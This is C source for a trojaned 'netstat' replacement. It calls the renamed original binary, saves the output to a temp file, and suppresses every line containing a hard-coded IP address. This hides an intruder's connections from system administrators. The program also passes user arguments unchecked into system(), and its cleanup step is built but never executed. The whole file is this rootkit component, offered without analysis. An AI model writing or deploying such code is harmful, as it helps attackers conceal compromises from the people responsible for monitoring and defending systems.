netstat

#include <stdio.h>

#include <stdlib.h>

#include <string.h>



#ifdef _WIN32
    #define SO 1
#else
    #define SO 0
#endif




int main(int argc, char* argv[]){



    char buff[1024];
    char ejecutable[16];
    char temporal[16];
    int i;
    char miip[16]= "123.123.123.123";

    if(SO){
        strcpy(ejecutable, "netstatold.exe ");
        strcpy(temporal, "C:\\temp37a");
    }else{
        strcpy(ejecutable, "netstatold ");
        strcpy(temporal, "/tmp/temp37a");
        }


    memset(buff, '\0', sizeof(buff));





    strcpy(buff, ejecutable);


    for(i=1; i<argc; i++){

        strcat(buff, argv[i]);

        strcat(buff, " ");

    }

    strcat(buff, " > ");
    strcat(buff, temporal);


    system(buff);



    memset(buff, '\0', sizeof(buff));


    FILE *fp = fopen(temporal, "r");


    while(!feof(fp)){

        fgets(buff, sizeof(buff), fp);

        if(strstr(buff, miip)==NULL){   //comprueba la aparcion de la cadena que no queremos!

            printf("%s", buff);

        }

    }

    fclose(fp);

    memset(buff, '\0', sizeof(buff));
    strcpy(buff, "rm ");
    strcat(buff, temporal);


    return 0;

}